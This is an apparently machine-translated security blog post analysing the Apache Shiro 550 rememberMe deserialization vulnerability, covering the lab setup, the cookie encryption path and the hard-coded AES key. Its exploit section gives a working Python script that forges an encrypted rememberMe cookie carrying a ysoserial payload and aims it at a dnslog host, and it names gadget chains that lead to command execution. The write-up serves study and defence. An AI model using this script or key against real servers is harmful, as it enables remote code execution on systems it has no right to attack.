编程知识 cdmana.com

Analysis of Shiro 550 deserialization vulnerability in Java Security

Java Safety Shiro 550 Deserialization vulnerability analysis

Starting from the safety customer :Java Safety Shiro 550 Deserialization vulnerability analysis

0x00 Preface

In recent years, we can see in some penetration or attack and defense drills Shiro The figure of , It's also Shiro This vulnerability is also used more frequently . This paper gives a brief introduction to the method Shiro550 The deserialization vulnerability is analyzed , Understand the process of vulnerability generation and how to exploit it .

0x01 Loophole principle

Shiro 550 There are versions of the deserialization vulnerability :shiro <1.2.4, The reason is that shiro To accept the Cookie Inside rememberMe Value , And then go on Base64 After decryption , Reuse aes The data after the key is decrypted , deserialize .

Think about it in reverse , If we construct the value as a cc The value after chain serialization is used for the key aes After encryption base64 encryption , Then we will de serialize our payload Content , At this point, you can achieve the effect of a command execution .

 obtain rememberMe value  -> Base64 Decrypt  -> AES Decrypt  ->  call readobject Deserialization operation 

0x02 Build a loophole environment

Vulnerability environment :https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

open shiro/web Catalog , Yes pom.xml Configuration depends on the configuration of a cc4 and jstl Components come in , I'll talk about why shiro Bring it with you commons-collections:3.2.1 You have to configure one manually commons-collections:4.0.

    <properties>

    <maven.compiler.source>1.6</maven.compiler.source>

    <maven.compiler.target>1.6</maven.compiler.target>

    </properties>

...
<dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!--   Here we need to jstl Set to 1.2 -->
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

Pit point

Shiro It's too painful to compile , All kinds of pit , Let's row the pits .

To configure maven\conf\toolchains.xml, You need to specify JDK1.6 The path and version of , Compilation has to be 1.6 edition , But it doesn't affect running in other versions .

<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>D:\JAVA_JDK\jdk1.6</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

All of these are compiled .

Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure

There's still a mistake .

When we compile later , Switch to maven3.1.1 Version of . Then you can compile it .

But later, I found that I couldn't access it during deployment , There must be something wrong with the compilation .

I'll take these two in the back <scope> The label is annotated out , And then it's all right .

hold pom.xml Post the configuration .

<?xml version="1.0" encoding="UTF-8"?>
<!--
  ~ Licensed to the Apache Software Foundation (ASF) under one
  ~ or more contributor license agreements.  See the NOTICE file
  ~ distributed with this work for additional information
  ~ regarding copyright ownership.  The ASF licenses this file
  ~ to you under the Apache License, Version 2.0 (the
  ~ "License"); you may not use this file except in compliance
  ~ with the License.  You may obtain a copy of the License at
  ~
  ~     http://www.apache.org/licenses/LICENSE-2.0
  ~
  ~ Unless required by applicable law or agreed to in writing,
  ~ software distributed under the License is distributed on an
  ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
  ~ KIND, either express or implied.  See the License for the
  ~ specific language governing permissions and limitations
  ~ under the License.
  -->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
    <properties>

        <maven.compiler.source>1.6</maven.compiler.source>

        <maven.compiler.target>1.6</maven.compiler.target>

    </properties>
    <parent>
        <groupId>org.apache.shiro.samples</groupId>
        <artifactId>shiro-samples</artifactId>
        <version>1.2.4</version>
        <relativePath>../pom.xml</relativePath>
    </parent>

    <modelVersion>4.0.0</modelVersion>
    <artifactId>samples-web</artifactId>
    <name>Apache Shiro :: Samples :: Web</name>
    <packaging>war</packaging>

    <build>
        <plugins>
            <plugin>
                <artifactId>maven-surefire-plugin</artifactId>
                <configuration>
                    <forkMode>never</forkMode>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.mortbay.jetty</groupId>
                <artifactId>maven-jetty-plugin</artifactId>
                <version>${jetty.version}</version>
                <configuration>
                    <contextPath>/</contextPath>
                    <connectors>
                        <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                            <port>9080</port>
                            <maxIdleTime>60000</maxIdleTime>
                        </connector>
                    </connectors>
                    <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
                        <filename>./target/yyyy_mm_dd.request.log</filename>
                        <retainDays>90</retainDays>
                        <append>true</append>
                        <extended>false</extended>
                        <logTimeZone>GMT</logTimeZone>
                    </requestLog>
                </configuration>
            </plugin>
        </plugins>
    </build>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>servlet-api</artifactId>
<!--            <scope>provided</scope>-->
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-log4j12</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>net.sourceforge.htmlunit</groupId>
            <artifactId>htmlunit</artifactId>
            <version>2.6</version>
<!--            <scope>test</scope>-->
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jsp-2.1-jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>jcl-over-slf4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!--   Here we need to jstl Set to 1.2 -->
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>


</project>

after 2 Heaven's drain pit , Finally, the hole was solved , Here we have to post some photos to celebrate .

Enter the account and password , Check Remerber me Options . Carry out the bag

Now we can analyze the vulnerability .

0x03 Vulnerability analysis

encryption

The point of the loophole is CookieRememberMeManager This location , To see rememberSerializedIdentity Method .

The function of this method is to use Base64 Encodes the specified array of serialized bytes , And will Base64 The encoded string is set to cookie value .

So let's see where the method is called .

Here you can see that this class inherits AbstractRememberMeManager Class called the method . Follow up and check in

It was found that this method was rememberIdentity Method is called , Follow up in the same way .

You will find rememberIdentity The method will be onSuccessfulLogin Method to call , Follow up to this point , Saw the onSuccessfulLogin How to login successfully .

When the login is successful AbstractRememberMeManager.onSuccessfulLogin Method , This method mainly realizes the generation of encrypted RememberMe Cookie, And then RememberMe Cookie Set to user's Cookie value . What we analyzed earlier is rememberSerializedIdentity Method to achieve . Take a look at this code .

go back to onSuccessfulLogin This place , Make a break , then web Login page input root/secret Password to submit , Back to IDEA View in . After finding the successful login method , We can do an analysis , Otherwise, the way just now is more troublesome .

Here you see the call isRememberMe It's obvious that this is a way to judge whether the user has chosen Remember Me Options .

If you choose Remember Me Function, return to true, If you do not select this option, you call log.debug Method to output a character on the console .

If this is true It will call rememberIdentity Method and pass in three parameters .F7 Follow up on the method .

As mentioned earlier, this method will generate a PrincipalCollection object , It contains login information .F7 Follow up rememberIdentity Method .

see convertPrincipalsToBytes Concrete realization and function .

Follow up the method to see the implementation .

It's very clear to see here , A serialization is done , And then return the serialized Byte Array .

Let's look at the next piece of code , Here if getCipherService If the method is not empty , You're going to execute the next piece of code .getCipherService The way is to get the encryption mode .

Or continue to follow up .

View call , You will find that the value is defined in the constructor .

When this is done , It's here .

call encrypt Method , Process the serialized data . Continue to follow up .

This call cipherService.encrypt Method and pass in the serialized data , and getEncryptionCipherKey Method .

getEncryptionCipherKey By name, it's the way to get the key , Check it out. , How to get the key .

Look at the call , Find out setCipherKey Method is called in constructor .

see DEFAULT_CIPHER_KEY_BYTES Value will find that there is a set of keys defined in it

And this key is dead .

Go back to where you just encrypted .

This place chooses to follow up , See the implementation .

If you look here, you will find that the array and key value , Finally, call his overloaded method and pass in the serialized array 、key、ivBytes value 、generate.

iv The value of is determined by generateInitializationVector Method generation , Follow up .

see getDefaultSecureRandom Method realization .

return generateInitializationVector Method to continue to view . This new One. byte The array length is 16

And finally got this ivBytes Value to return .

Here, after the execution is completed, you will get ivBytes The value of the , Here, go back to the encryption method to see the implementation of specific encryption .

This call crypt Method to get the encrypted data , And this output It's a byte Array , The size is the length of the encrypted data plus iv The length of this value .

iv Small tips

  • Some encryption algorithms require plaintext to be aligned to a certain length , It's called block size (BlockSize), This time we are 16 byte , So for an arbitrary piece of data , Before encryption, the last block needs to be filled with 16 byte , You need to delete the filled data after decryption .
  • AES There are three filling patterns in (PKCS7Padding/PKCS5Padding/ZeroPadding)
  • PKCS7Padding Follow PKCS5Padding The difference is the way the data is filled ,PKCS7Padding If you want a few bytes, you can make up for a few 0, and PKCS5Padding A few bytes are missing , It's like lack of 6 Bytes , Just add 6 Bytes

Do not understand the encryption algorithm can see Java Secure encryption algorithm of security

After execution, the serialized data has been processed AES encryption , Return to one byte Array .

After execution , Come to this point , And then follow up .

There's nothing to say here . This is the next step base64 Set to the user's after encryption Cookie Of rememberMe Field .

Decrypt

Because we don't know which method to implement such a function . But when we analyzed encryption earlier , Called AbstractRememberMeManager.encrypt To encrypt , There are also corresponding decryption operations in this class . So here you can see where the method will be called , You can go back to the top , Then go to the next breakpoint .

see getRememberedPrincipals The method breaks down here

track

return getRememberedPrincipals Method .

Call... Below convertBytesToPrincipals Method , Tracking .

see decrypt Method implementation .

Similar to the previous encryption steps , There is no detailed explanation here .

Generate iv value , Then it is passed into his overload method .

When we get here, we're done , So it went on AES The decryption of .

Or go back to this step .

Here comes back deserialize Return value of method , And passed in AES Encrypted data .

Tracking the method .

Continue tracking .

At this point , It'll come in to us AES The decrypted data is called readObject Method to deserialize .

0x04 Loophole attack

Leak detection

Now we know that it's because of the acquisition of rememberMe value , Then decrypt and then deserialize .

So if you get the key here, you can forge the encryption process .

Find an encrypted script on the Internet

# -*-* coding:utf-8
# @Time    :  2020/10/16 17:36
# @Author  : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog    :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES


def rememberme(command):
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
                             stdout=subprocess.PIPE)
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    # payload = encode_rememberme('127.0.0.1:12345')
    # payload = rememberme('calc.exe')
    payload = rememberme('http://u89cy6.dnslog.cn')
    with open("./payload.cookie", "w") as fpw:

        print("rememberMe={}".format(payload.decode()))
        res = "rememberMe={}".format(payload.decode())
        fpw.write(res)

After getting the value, the encrypted payload After that can be burp The above manual send test .

After sending , You can see that DNSLOG The platform echoed .

When using URLDNS The chain goes through , stay DNSLOG When the platform has echo , This shows that there is a deserialization vulnerability in this place .

But if you want to use it, you have to use CC Chain, etc. use chain to carry out command execution .

Exploit

In front of us, we manually give shio Deserve to go up cc4 The components of , and shiro It comes with cc3.2.1 Version of the component , Why manual configuration ?

Actually shiro Rewritten in ObjectInputStream Class resolveClass function ,ObjectInputStream Of resolveClass The method is Class.forName Class gets the class that the current descriptor refers to Class object . And the rewritten resolveClass Method , It's using ClassUtils.forName. Check out the method

public static Class forName(String fqcn) throws UnknownClassException {
    Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader.  Trying the current ClassLoader...");
        }

        clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " + "Trying the system/application ClassLoader...");
        }

        clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";
        throw new UnknownClassException(msg);
    } else {
        return clazz;
    }
}

If you pass in a reference, if you pass in a Transform The parameters of the array , Will report a mistake .

The latter does not support passing in array types .

resovleClass It uses ClassLoader.loadClass() Instead of Class.forName(), and ClassLoader.loadClass Loading of array types is not supported class

So here you can use cc2 and cc4 Using chain to execute commands , Because both are based on javassist To achieve the , Not based on Transform Array . Specific can see the previous analysis of the use of chain article .

Except these two are actually deployed , It can be found that one of the components comes with it CommonsBeanutils The components of , This component also has a utilization chain . have access to CommonsBeanutils This uses the chain for command execution .

Then there is no other way ? Suppose there is no cc4 The components of , You can't carry out the order ? In fact, there are ways .wh1t3p1g The master is here article The solution has been given in . We need to reconstruct the use chain .

Reference article

https://www.anquanke.com/post/id/192619#h2-4

https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils

https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A

0x05 ending

In this vulnerability, I think the main difficulty is that it takes a lot of time to build the environment , There is also something about shiro Most of the use of the chain can not be used to solve .

版权声明
本文为[nice_ 0e3]所创,转载请带上原文链接,感谢
https://cdmana.com/2020/12/20201224114920603u.html

Scroll to Top